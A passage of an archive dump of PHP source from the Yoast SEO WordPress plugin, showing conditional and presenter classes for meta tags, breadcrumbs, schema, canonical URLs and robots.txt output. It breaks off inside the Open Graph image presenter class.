class User_Can_Edit_Users_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		return \current_user_can( 'edit_users' );
	}
}
wordpress-seo/src/conditionals/open-graph-conditional.php000064400000001330147510273100017704 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Conditional that is only met when the Open Graph feature is enabled.
 */
class Open_Graph_Conditional implements Conditional {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * Open_Graph_Conditional constructor.
	 *
	 * @param Options_Helper $options The options helper.
	 */
	public function __construct( Options_Helper $options ) {
		$this->options = $options;
	}

	/**
	 * Returns `true` when the Open Graph feature is enabled.
	 *
	 * @return bool `true` when the Open Graph feature is enabled.
	 */
	public function is_met() {
		return $this->options->get( 'opengraph' ) === true;
	}
}
wordpress-seo/src/conditionals/wincher-enabled-conditional.php000064400000001343147510273100020677 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Conditional that is only met when the Wincher integration is enabled.
 */
class Wincher_Enabled_Conditional implements Conditional {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * Wincher_Enabled_Conditional constructor.
	 *
	 * @param Options_Helper $options The options helper.
	 */
	public function __construct( Options_Helper $options ) {
		$this->options = $options;
	}

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		return $this->options->get( 'wincher_integration_active', false );
	}
}
wordpress-seo/src/conditionals/news-conditional.php000064400000000550147510273100016623 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals;

/**
 * Conditional that is only met when news SEO is activated.
 */
class News_Conditional implements Conditional {

	/**
	 * Returns whether or not this conditional is met.
	 *
	 * @return bool Whether or not the conditional is met.
	 */
	public function is_met() {
		return \defined( 'WPSEO_NEWS_VERSION' );
	}
}
wordpress-seo/src/presenters/url-list-presenter.php000064400000002431147510273100016632 0ustar00<?php

namespace Yoast\WP\SEO\Presenters;

/**
 * Presenter class for the URL list.
 */
class Url_List_Presenter extends Abstract_Presenter {

	/**
	 * If the url should be target blank.
	 *
	 * @var bool
	 */
	private $target_blank;

	/**
	 * A list of arrays containing titles and URLs.
	 *
	 * @var array
	 */
	private $links;

	/**
	 * Classname for the URL list.
	 *
	 * @var string
	 */
	private $class_name;

	/**
	 * Url_List_Presenter constructor.
	 *
	 * @param array  $links        A list of arrays containing titles and urls.
	 * @param string $class_name   Classname for the url list.
	 * @param bool   $target_blank If the url should be target blank.
	 */
	public function __construct( $links, $class_name = 'yoast-url-list', $target_blank = false ) {
		$this->links        = $links;
		$this->class_name   = $class_name;
		$this->target_blank = $target_blank;
	}

	/**
	 * Presents the URL list.
	 *
	 * @return string The URL list.
	 */
	public function present() {
		$output = '<ul class="' . $this->class_name . '">';
		foreach ( $this->links as $link ) {
			$output .= '<li><a';
			if ( $this->target_blank ) {
				$output .= ' target = "_blank"';
			}
			$output .= ' href="' . $link['permalink'] . '">' . $link['title'] . '</a></li>';

		}
		$output .= '</ul>';
		return $output;
	}
}
wordpress-seo/src/presenters/webmaster/pinterest-presenter.php000064400000001130147510273100021060 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Webmaster;

use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Pinterest Webmaster verification setting.
 */
class Pinterest_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'p:domain_verify';

	/**
	 * Retrieves the webmaster tool site verification value from the settings.
	 *
	 * @return string The webmaster tool site verification value.
	 */
	public function get() {
		return $this->helpers->options->get( 'pinterestverify', '' );
	}
}
wordpress-seo/src/presenters/webmaster/google-presenter.php000064400000001135147510273100020324 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Webmaster;

use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Google Search Console verification setting.
 */
class Google_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'google-site-verification';

	/**
	 * Retrieves the webmaster tool site verification value from the settings.
	 *
	 * @return string The webmaster tool site verification value.
	 */
	public function get() {
		return $this->helpers->options->get( 'googleverify', '' );
	}
}
wordpress-seo/src/presenters/webmaster/bing-presenter.php000064400000001105147510273100017764 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Webmaster;

use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Bing Webmaster verification setting.
 */
class Bing_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'msvalidate.01';

	/**
	 * Retrieves the webmaster tool site verification value from the settings.
	 *
	 * @return string The webmaster tool site verification value.
	 */
	public function get() {
		return $this->helpers->options->get( 'msverify', '' );
	}
}
wordpress-seo/src/presenters/webmaster/yandex-presenter.php000064400000001123147510273100020335 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Webmaster;

use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Yandex Webmaster verification setting.
 */
class Yandex_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'yandex-verification';

	/**
	 * Retrieves the webmaster tool site verification value from the settings.
	 *
	 * @return string The webmaster tool site verification value.
	 */
	public function get() {
		return $this->helpers->options->get( 'yandexverify', '' );
	}
}
wordpress-seo/src/presenters/webmaster/baidu-presenter.php000064400000001132147510273100020131 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Webmaster;

use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Baidu Webmaster Tools verification setting.
 */
class Baidu_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'baidu-site-verification';

	/**
	 * Retrieves the webmaster tool site verification value from the settings.
	 *
	 * @return string The webmaster tool site verification value.
	 */
	public function get() {
		return $this->helpers->options->get( 'baiduverify', '' );
	}
}
wordpress-seo/src/presenters/schema-presenter.php000064400000002710147510273100016317 0ustar00<?php

namespace Yoast\WP\SEO\Presenters;

use WPSEO_Utils;

/**
 * Presenter class for the schema object.
 */
class Schema_Presenter extends Abstract_Indexable_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'schema';

	/**
	 * Returns the schema output.
	 *
	 * @return string The schema tag.
	 */
	public function present() {
		$deprecated_data = [
			'_deprecated' => 'Please use the "wpseo_schema_*" filters to extend the Yoast SEO schema data - see the WPSEO_Schema class.',
		];

		/**
		 * Filter: 'wpseo_json_ld_output' - Allows disabling Yoast's schema output entirely.
		 *
		 * @param mixed  $deprecated If false or an empty array is returned, disable our output.
		 * @param string $empty
		 */
		$return = \apply_filters( 'wpseo_json_ld_output', $deprecated_data, '' );
		if ( $return === [] || $return === false ) {
			return '';
		}

		/**
		 * Action: 'wpseo_json_ld' - Output Schema before the main schema from Yoast SEO is output.
		 */
		\do_action( 'wpseo_json_ld' );

		$schema = $this->get();
		if ( \is_array( $schema ) ) {
			$output = WPSEO_Utils::format_json_encode( $schema );
			$output = \str_replace( "\n", \PHP_EOL . "\t", $output );
			return '<script type="application/ld+json" class="yoast-schema-graph">' . $output . '</script>';
		}

		return '';
	}

	/**
	 * Gets the raw value of a presentation.
	 *
	 * @return array The raw value.
	 */
	public function get() {
		return $this->presentation->schema;
	}
}
wordpress-seo/src/presenters/meta-author-presenter.php000064400000002541147510273100017307 0ustar00<?php

namespace Yoast\WP\SEO\Presenters;

use WP_User;
use Yoast\WP\SEO\Presentations\Indexable_Presentation;

/**
 * Presenter class for the meta author tag.
 */
class Meta_Author_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'author';

	/**
	 * Returns the author for a post in a meta author tag.
	 *
	 * @return string The meta author tag.
	 */
	public function present() {
		$output = parent::present();

		if ( ! empty( $output ) ) {
			return $output;
		}

		return '';
	}

	/**
	 * Get the author's display name.
	 *
	 * @return string The author's display name.
	 */
	public function get() {
		if ( $this->presentation->model->object_sub_type !== 'post' ) {
			return '';
		}

		$user_data = \get_userdata( $this->presentation->context->post->post_author );

		if ( ! $user_data instanceof WP_User ) {
			return '';
		}

		/**
		 * Filter: 'wpseo_meta_author' - Allow developers to filter the article's author meta tag.
		 *
		 * @param string                 $author_name  The article author's display name. Return empty to disable the tag.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		return \trim( $this->helpers->schema->html->smart_strip_tags( \apply_filters( 'wpseo_meta_author', $user_data->display_name, $this->presentation ) ) );
	}
}
wordpress-seo/src/presenters/title-presenter.php000064400000003344147510273100016204 0ustar00<?php

namespace Yoast\WP\SEO\Presenters;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;

/**
 * Presenter class for the document title.
 */
class Title_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'title';

	/**
	 * The tag format including placeholders.
	 *
	 * @var string
	 */
	protected $tag_format = '<title>%s</title>';

	/**
	 * The method of escaping to use.
	 *
	 * @var string
	 */
	protected $escaping = 'html';

	/**
	 * Gets the raw value of a presentation.
	 *
	 * @return string The raw value.
	 */
	public function get() {
		// This ensures backwards compatibility with other plugins using this filter as well.
		\add_filter( 'pre_get_document_title', [ $this, 'get_title' ], 15 );
		$title = \wp_get_document_title();
		\remove_filter( 'pre_get_document_title', [ $this, 'get_title' ], 15 );
		return $title;
	}

	/**
	 * Returns a tag in the head.
	 *
	 * @return string The tag.
	 */
	public function present() {
		$value = $this->get();

		if ( \is_string( $value ) && $value !== '' ) {
			return \sprintf( $this->tag_format, $this->escape_value( $value ) );
		}

		return '';
	}

	/**
	 * Returns the presentation title.
	 *
	 * @return string The title.
	 */
	public function get_title() {
		$title = $this->replace_vars( $this->presentation->title );

		/**
		 * Filter: 'wpseo_title' - Allow changing the Yoast SEO generated title.
		 *
		 * @param string                 $title        The title.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		$title = \apply_filters( 'wpseo_title', $title, $this->presentation );
		$title = $this->helpers->string->strip_all_tags( $title );
		return \trim( $title );
	}
}
wordpress-seo/src/presenters/breadcrumbs-presenter.php000064400000017055147510273100017360 0ustar00<?php

namespace Yoast\WP\SEO\Presenters;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;

/**
 * Presenter class for the breadcrumbs.
 */
class Breadcrumbs_Presenter extends Abstract_Indexable_Presenter {

	/**
	 * The id attribute.
	 *
	 * @var string
	 */
	private $id;

	/**
	 * The class name attribute.
	 *
	 * @var string
	 */
	private $class;

	/**
	 * The wrapper element name.
	 *
	 * @var string
	 */
	private $wrapper;

	/**
	 * Separator to use.
	 *
	 * @var string
	 */
	private $separator;

	/**
	 * The element.
	 *
	 * @var string
	 */
	private $element;

	/**
	 * Presents the breadcrumbs.
	 *
	 * @return string The breadcrumbs HTML.
	 */
	public function present() {
		$breadcrumbs = $this->get();
		if ( ! \is_array( $breadcrumbs ) || empty( $breadcrumbs ) ) {
			return '';
		}

		$links = [];
		$total = \count( $breadcrumbs );
		foreach ( $breadcrumbs as $index => $breadcrumb ) {
			$links[ $index ] = $this->crumb_to_link( $breadcrumb, $index, $total );
		}

		// Removes any effectively empty links.
		$links  = \array_map( 'trim', $links );
		$links  = \array_filter( $links );
		$output = \implode( $this->get_separator(), $links );

		if ( empty( $output ) ) {
			return '';
		}

		$output = '<' . $this->get_wrapper() . $this->get_id() . $this->get_class() . '>' . $output . '</' . $this->get_wrapper() . '>';
		$output = $this->filter( $output );

		$prefix = $this->helpers->options->get( 'breadcrumbs-prefix' );
		if ( $prefix !== '' ) {
			$output = "\t" . $prefix . "\n" . $output;
		}

		return $output;
	}

	/**
	 * Gets the raw value of a presentation.
	 *
	 * @return array The raw value.
	 */
	public function get() {
		return $this->presentation->breadcrumbs;
	}

	/**
	 * Filters the output.
	 *
	 * @param string $output The HTML output.
	 *
	 * @return string The filtered output.
	 */
	protected function filter( $output ) {
		/**
		 * Filter: 'wpseo_breadcrumb_output' - Allow changing the HTML output of the Yoast SEO breadcrumbs class.
		 *
		 * @param string                 $output       The HTML output.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		return \apply_filters( 'wpseo_breadcrumb_output', $output, $this->presentation );
	}

	/**
	 * Create a breadcrumb element string.
	 *
	 * @param array $breadcrumb Link info array containing the keys:
	 *                          'text'                  => (string) link text.
	 *                          'url'                   => (string) link url.
	 *                          (optional) 'title'      => (string) link title attribute text.
	 * @param int   $index      Index for the current breadcrumb.
	 * @param int   $total      The total number of breadcrumbs.
	 *
	 * @return string The breadcrumb link.
	 */
	protected function crumb_to_link( $breadcrumb, $index, $total ) {
		$link = '';

		if ( ! isset( $breadcrumb['text'] ) || ! \is_string( $breadcrumb['text'] ) || empty( $breadcrumb['text'] ) ) {
			return $link;
		}

		$text = \trim( $breadcrumb['text'] );

		if (
			$index < ( $total - 1 )
			&& isset( $breadcrumb['url'] )
			&& \is_string( $breadcrumb['url'] )
			&& ! empty( $breadcrumb['url'] )
		) {
			// If it's not the last element and we have a url.
			$link      .= '<' . $this->get_element() . '>';
			$title_attr = isset( $breadcrumb['title'] ) ? ' title="' . \esc_attr( $breadcrumb['title'] ) . '"' : '';
			$link      .= '<a';

			if ( $this->should_link_target_blank() ) {
				$link .= ' target="_blank"';
			}
			$link .= ' href="' . \esc_url( $breadcrumb['url'] ) . '"' . $title_attr . '>' . $text . '</a>';
			$link .= '</' . $this->get_element() . '>';
		}
		elseif ( $index === ( $total - 1 ) ) {
			// If it's the last element.

			if ( $this->helpers->options->get( 'breadcrumbs-boldlast' ) === true ) {
				$text = '<strong>' . $text . '</strong>';
			}

			$link .= '<' . $this->get_element() . ' class="breadcrumb_last" aria-current="page">' . $text . '</' . $this->get_element() . '>';
		}
		else {
			// It's not the last element and has no url.
			$link .= '<' . $this->get_element() . '>' . $text . '</' . $this->get_element() . '>';
		}

		/**
		 * Filter: 'wpseo_breadcrumb_single_link' - Allow changing of each link being put out by the Yoast SEO breadcrumbs class.
		 *
		 * @param string $link_output The output string.
		 * @param array  $link        The breadcrumb link array.
		 */
		return \apply_filters( 'wpseo_breadcrumb_single_link', $link, $breadcrumb );
	}

	/**
	 * Retrieves HTML ID attribute.
	 *
	 * @return string The id attribute.
	 */
	protected function get_id() {
		if ( ! $this->id ) {
			/**
			 * Filter: 'wpseo_breadcrumb_output_id' - Allow changing the HTML ID on the Yoast SEO breadcrumbs wrapper element.
			 *
			 * @param string $unsigned ID to add to the wrapper element.
			 */
			$this->id = \apply_filters( 'wpseo_breadcrumb_output_id', '' );
			if ( ! \is_string( $this->id ) ) {
				return '';
			}

			if ( $this->id !== '' ) {
				$this->id = ' id="' . \esc_attr( $this->id ) . '"';
			}
		}

		return $this->id;
	}

	/**
	 * Retrieves HTML Class attribute.
	 *
	 * @return string The class attribute.
	 */
	protected function get_class() {
		if ( ! $this->class ) {
			/**
			 * Filter: 'wpseo_breadcrumb_output_class' - Allow changing the HTML class on the Yoast SEO breadcrumbs wrapper element.
			 *
			 * @param string $unsigned Class to add to the wrapper element.
			 */
			$this->class = \apply_filters( 'wpseo_breadcrumb_output_class', '' );
			if ( ! \is_string( $this->class ) ) {
				return '';
			}

			if ( $this->class !== '' ) {
				$this->class = ' class="' . \esc_attr( $this->class ) . '"';
			}
		}

		return $this->class;
	}

	/**
	 * Retrieves the wrapper element name.
	 *
	 * @return string The wrapper element name.
	 */
	protected function get_wrapper() {
		if ( ! $this->wrapper ) {
			$this->wrapper = \apply_filters( 'wpseo_breadcrumb_output_wrapper', 'span' );
			$this->wrapper = \tag_escape( $this->wrapper );
			if ( ! \is_string( $this->wrapper ) || $this->wrapper === '' ) {
				$this->wrapper = 'span';
			}
		}

		return $this->wrapper;
	}

	/**
	 * Retrieves the separator.
	 *
	 * @return string The separator.
	 */
	protected function get_separator() {
		if ( ! $this->separator ) {
			$this->separator = \apply_filters( 'wpseo_breadcrumb_separator', $this->helpers->options->get( 'breadcrumbs-sep' ) );
			$this->separator = ' ' . $this->separator . ' ';
		}

		return $this->separator;
	}

	/**
	 * Retrieves the crumb element name.
	 *
	 * @return string The element to use.
	 */
	protected function get_element() {
		if ( ! $this->element ) {
			$this->element = \esc_attr( \apply_filters( 'wpseo_breadcrumb_single_link_wrapper', 'span' ) );
		}

		return $this->element;
	}

	/**
	 * This is needed because when the editor is loaded in an Iframe the link needs to open in a different browser window.
	 * We don't want this behaviour in the front-end and the way to check this is to check if the block is rendered in a REST request with the `context` set as 'edit'. Thus being in the editor.
	 *
	 * @return bool returns if the breadcrumb should be opened in another window.
	 */
	private function should_link_target_blank(): bool {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['context'] ) && \is_string( $_GET['context'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, We are only strictly comparing.
			if ( \wp_unslash( $_GET['context'] ) === 'edit' ) {
				return true;
			}
		}
		return false;
	}
}
wordpress-seo/src/presenters/canonical-presenter.php000064400000002175147510273100017013 0ustar00<?php

namespace Yoast\WP\SEO\Presenters;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;

/**
 * Presenter class for the canonical.
 */
class Canonical_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'canonical';

	/**
	 * The tag format including placeholders.
	 *
	 * @var string
	 */
	protected $tag_format = self::LINK_REL_HREF;

	/**
	 * The method of escaping to use.
	 *
	 * @var string
	 */
	protected $escaping = 'url';

	/**
	 * Run the canonical content through the `wpseo_canonical` filter.
	 *
	 * @return string The filtered canonical.
	 */
	public function get() {
		if ( \in_array( 'noindex', $this->presentation->robots, true ) ) {
			return '';
		}

		/**
		 * Filter: 'wpseo_canonical' - Allow filtering of the canonical URL put out by Yoast SEO.
		 *
		 * @param string                 $canonical    The canonical URL.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		return \urldecode( (string) \trim( \apply_filters( 'wpseo_canonical', $this->presentation->canonical, $this->presentation ) ) );
	}
}
wordpress-seo/src/presenters/robots-txt-presenter.php000064400000010267147510273100017212 0ustar00<?php

namespace Yoast\WP\SEO\Presenters;

use Yoast\WP\SEO\Helpers\Robots_Txt_Helper;

/**
 * Presenter class for the robots.txt file helper.
 */
class Robots_Txt_Presenter extends Abstract_Presenter {

	public const YOAST_OUTPUT_BEFORE_COMMENT = '# START YOAST BLOCK' . \PHP_EOL . '# ---------------------------' . \PHP_EOL;

	public const YOAST_OUTPUT_AFTER_COMMENT = '# ---------------------------' . \PHP_EOL . '# END YOAST BLOCK';

	/**
	 * Text to be outputted for the allow directive.
	 *
	 * @var string
	 */
	public const ALLOW_DIRECTIVE = 'Allow';

	/**
	 * Text to be outputted for the disallow directive.
	 *
	 * @var string
	 */
	public const DISALLOW_DIRECTIVE = 'Disallow';

	/**
	 * Text to be outputted for the user-agent rule.
	 *
	 * @var string
	 */
	public const USER_AGENT_FIELD = 'User-agent';

	/**
	 * Text to be outputted for the sitemap rule.
	 *
	 * @var string
	 */
	public const SITEMAP_FIELD = 'Sitemap';

	/**
	 * Holds the Robots_Txt_Helper.
	 *
	 * @var Robots_Txt_Helper
	 */
	protected $robots_txt_helper;

	/**
	 * Constructor.
	 *
	 * @param Robots_Txt_Helper $robots_txt_helper The robots txt helper.
	 */
	public function __construct( Robots_Txt_Helper $robots_txt_helper ) {
		$this->robots_txt_helper = $robots_txt_helper;
	}

	/**
	 * Generate content to be placed in a robots.txt file.
	 *
	 * @return string Content to be placed in a robots.txt file.
	 */
	public function present() {
		$robots_txt_content = self::YOAST_OUTPUT_BEFORE_COMMENT;
		$robots_txt_content = $this->handle_user_agents( $robots_txt_content );

		$robots_txt_content = $this->handle_site_maps( $robots_txt_content );

		return $robots_txt_content . self::YOAST_OUTPUT_AFTER_COMMENT;
	}

	/**
	 * Adds user agent directives to the robots txt output string.
	 *
	 * @param array  $user_agents        The list if available user agents.
	 * @param string $robots_txt_content The current working robots txt string.
	 *
	 * @return string
	 */
	private function add_user_agent_directives( $user_agents, $robots_txt_content ) {
		foreach ( $user_agents as $user_agent ) {
			$robots_txt_content .= self::USER_AGENT_FIELD . ': ' . $user_agent->get_user_agent() . \PHP_EOL;

			$robots_txt_content = $this->add_directive_path( $robots_txt_content, $user_agent->get_disallow_paths(), self::DISALLOW_DIRECTIVE );
			$robots_txt_content = $this->add_directive_path( $robots_txt_content, $user_agent->get_allow_paths(), self::ALLOW_DIRECTIVE );

			$robots_txt_content .= \PHP_EOL;
		}

		return $robots_txt_content;
	}

	/**
	 *  Adds user agent directives path content to the robots txt output string.
	 *
	 * @param string $robots_txt_content   The current working robots txt string.
	 * @param array  $paths                The list of paths for which to add a txt entry.
	 * @param string $directive_identifier The identifier for the directives. (Disallow of Allow).
	 *
	 * @return string
	 */
	private function add_directive_path( $robots_txt_content, $paths, $directive_identifier ) {
		if ( \count( $paths ) > 0 ) {
			foreach ( $paths as $path ) {
				$robots_txt_content .= $directive_identifier . ': ' . $path . \PHP_EOL;
			}
		}

		return $robots_txt_content;
	}

	/**
	 * Handles adding user agent content to the robots txt content if there is any.
	 *
	 * @param string $robots_txt_content The current working robots txt string.
	 *
	 * @return string
	 */
	private function handle_user_agents( $robots_txt_content ) {
		$user_agents = $this->robots_txt_helper->get_robots_txt_user_agents();

		if ( ! isset( $user_agents['*'] ) ) {
			$robots_txt_content .= 'User-agent: *' . \PHP_EOL;
			$robots_txt_content .= 'Disallow:' . \PHP_EOL . \PHP_EOL;
		}

		$robots_txt_content = $this->add_user_agent_directives( $user_agents, $robots_txt_content );

		return $robots_txt_content;
	}

	/**
	 * Handles adding sitemap content to the robots txt content.
	 *
	 * @param string $robots_txt_content The current working robots txt string.
	 *
	 * @return string
	 */
	private function handle_site_maps( $robots_txt_content ) {
		$registered_sitemaps = $this->robots_txt_helper->get_sitemap_rules();

		foreach ( $registered_sitemaps as $sitemap ) {
			$robots_txt_content .= self::SITEMAP_FIELD . ': ' . $sitemap . \PHP_EOL;
		}

		return $robots_txt_content;
	}
}
wordpress-seo/src/presenters/debug/marker-open-presenter.php000064400000003132147510273100020364 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Debug;

use Yoast\WP\SEO\Presenters\Abstract_Indexable_Presenter;

/**
 * Presenter class for the debug open marker.
 */
final class Marker_Open_Presenter extends Abstract_Indexable_Presenter {

	/**
	 * Returns the debug close marker.
	 *
	 * @return string The debug close marker.
	 */
	public function present() {
		/**
		 * Filter: 'wpseo_debug_markers' - Allow disabling the debug markers.
		 *
		 * @param bool $show_markers True when the debug markers should be shown.
		 */
		if ( ! \apply_filters( 'wpseo_debug_markers', true ) ) {
			return '';
		}
		$version_info = 'v' . \WPSEO_VERSION;

		if ( $this->helpers->product->is_premium() ) {
			$version_info = $this->construct_version_info();
		}

		return \sprintf(
			'<!-- This site is optimized with the %1$s %2$s - https://yoast.com/wordpress/plugins/seo/ -->',
			\esc_html( $this->helpers->product->get_name() ),
			$version_info
		);
	}

	/**
	 * Gets the plugin version information, including the free version if Premium is used.
	 *
	 * @return string The constructed version information.
	 */
	private function construct_version_info() {
		/**
		 * Filter: 'wpseo_hide_version' - can be used to hide the Yoast SEO version in the debug marker (only available in Yoast SEO Premium).
		 *
		 * @param bool $hide_version
		 */
		if ( \apply_filters( 'wpseo_hide_version', false ) ) {
			return '';
		}

		return 'v' . \WPSEO_PREMIUM_VERSION . ' (Yoast SEO v' . \WPSEO_VERSION . ')';
	}

	/**
	 * Gets the raw value of a presentation.
	 *
	 * @return string The raw value.
	 */
	public function get() {
		return '';
	}
}
wordpress-seo/src/presenters/debug/marker-close-presenter.php000064400000001505147510273100020532 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Debug;

use Yoast\WP\SEO\Presenters\Abstract_Indexable_Presenter;

/**
 * Presenter class for the debug close marker.
 */
final class Marker_Close_Presenter extends Abstract_Indexable_Presenter {

	/**
	 * Returns the debug close marker.
	 *
	 * @return string The debug close marker.
	 */
	public function present() {
		/**
		 * Filter: 'wpseo_debug_markers' - Allow disabling the debug markers.
		 *
		 * @param bool $show_markers True when the debug markers should be shown.
		 */
		if ( ! \apply_filters( 'wpseo_debug_markers', true ) ) {
			return '';
		}

		return \sprintf(
			'<!-- / %s. -->',
			\esc_html( $this->helpers->product->get_name() )
		);
	}

	/**
	 * Gets the raw value of a presentation.
	 *
	 * @return string The raw value.
	 */
	public function get() {
		return '';
	}
}
wordpress-seo/src/presenters/meta-description-presenter.php000064400000003531147510273100020330 0ustar00<?php

namespace Yoast\WP\SEO\Presenters;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;

/**
 * Presenter class for the meta description.
 */
class Meta_Description_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'description';

	/**
	 * Returns the meta description for a post.
	 *
	 * @return string The meta description tag.
	 */
	public function present() {
		$output = parent::present();

		if ( ! empty( $output ) ) {
			return $output;
		}

		if ( \current_user_can( 'wpseo_manage_options' ) ) {
			return '<!-- '
				. \sprintf(
					/* translators: %1$s resolves to Yoast SEO, %2$s resolves to the Settings submenu item. */
					\esc_html__( 'Admin only notice: this page does not show a meta description because it does not have one, either write it for this page specifically or go into the [%1$s - %2$s] menu and set up a template.', 'wordpress-seo' ),
					\esc_html__( 'Yoast SEO', 'wordpress-seo' ),
					\esc_html__( 'Settings', 'wordpress-seo' )
				)
				. ' -->';
		}

		return '';
	}

	/**
	 * Run the meta description content through replace vars, the `wpseo_metadesc` filter and sanitization.
	 *
	 * @return string The filtered meta description.
	 */
	public function get() {
		$meta_description = $this->replace_vars( $this->presentation->meta_description );

		/**
		 * Filter: 'wpseo_metadesc' - Allow changing the Yoast SEO meta description sentence.
		 *
		 * @param string                 $meta_description The description sentence.
		 * @param Indexable_Presentation $presentation     The presentation of an indexable.
		 */
		$meta_description = \apply_filters( 'wpseo_metadesc', $meta_description, $this->presentation );
		$meta_description = $this->helpers->string->strip_all_tags( \stripslashes( $meta_description ) );
		return \trim( $meta_description );
	}
}
wordpress-seo/src/presenters/robots-presenter.php000064400000001307147510273100016370 0ustar00<?php

namespace Yoast\WP\SEO\Presenters;

/**
 * Presenter class for the robots output.
 */
class Robots_Presenter extends Abstract_Indexable_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'robots';

	/**
	 * Returns the robots output.
	 *
	 * @return string The robots output tag.
	 */
	public function present() {
		$robots = \implode( ', ', $this->get() );

		if ( \is_string( $robots ) && $robots !== '' ) {
			return \sprintf( '<meta name="robots" content="%s" />', \esc_attr( $robots ) );
		}

		return '';
	}

	/**
	 * Gets the raw value of a presentation.
	 *
	 * @return array The raw value.
	 */
	public function get() {
		return $this->presentation->robots;
	}
}
wordpress-seo/src/presenters/abstract-presenter.php000064400000000571147510273100016665 0ustar00<?php

namespace Yoast\WP\SEO\Presenters;

/**
 * Abstract_Presenter class.
 */
abstract class Abstract_Presenter {

	/**
	 * Returns the output as string.
	 *
	 * @return string The output.
	 */
	abstract public function present();

	/**
	 * Returns the output as string.
	 *
	 * @return string The output.
	 */
	public function __toString() {
		return $this->present();
	}
}
wordpress-seo/src/presenters/abstract-indexable-presenter.php000064400000003063147510273100020615 0ustar00<?php

namespace Yoast\WP\SEO\Presenters;

use WPSEO_Replace_Vars;
use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Surfaces\Helpers_Surface;

/**
 * Abstract presenter class for indexable presentations.
 */
abstract class Abstract_Indexable_Presenter extends Abstract_Presenter {

	/**
	 * The WPSEO Replace Vars object.
	 *
	 * @var WPSEO_Replace_Vars
	 */
	public $replace_vars;

	/**
	 * The indexable presentation.
	 *
	 * @var Indexable_Presentation
	 */
	public $presentation;

	/**
	 * The helpers surface
	 *
	 * @var Helpers_Surface
	 */
	public $helpers;

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'NO KEY PROVIDED';

	/**
	 * Gets the raw value of a presentation.
	 *
	 * @return string|array The raw value.
	 */
	abstract public function get();

	/**
	 * Transforms an indexable presenter's key to a json safe key string.
	 *
	 * @return string|null
	 */
	public function escape_key() {
		if ( $this->key === 'NO KEY PROVIDED' ) {
			return null;
		}
		return \str_replace( [ ':', ' ', '-' ], '_', $this->key );
	}

	/**
	 * Returns the metafield's property key.
	 *
	 * @return string The property key.
	 */
	public function get_key() {
		return $this->key;
	}

	/**
	 * Replace replacement variables in a string.
	 *
	 * @param string $replacevar_string The string with replacement variables.
	 *
	 * @return string The string with replacement variables replaced.
	 */
	protected function replace_vars( $replacevar_string ) {
		return $this->replace_vars->replace( $replacevar_string, $this->presentation->source );
	}
}
wordpress-seo/src/presenters/open-graph/image-presenter.php000064400000010356147510273100020206 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Open_Graph;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Presenter;

/**
 * Presenter class for the Open Graph image.
 */
class Image_Presenter extends Abstract_Indexable_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
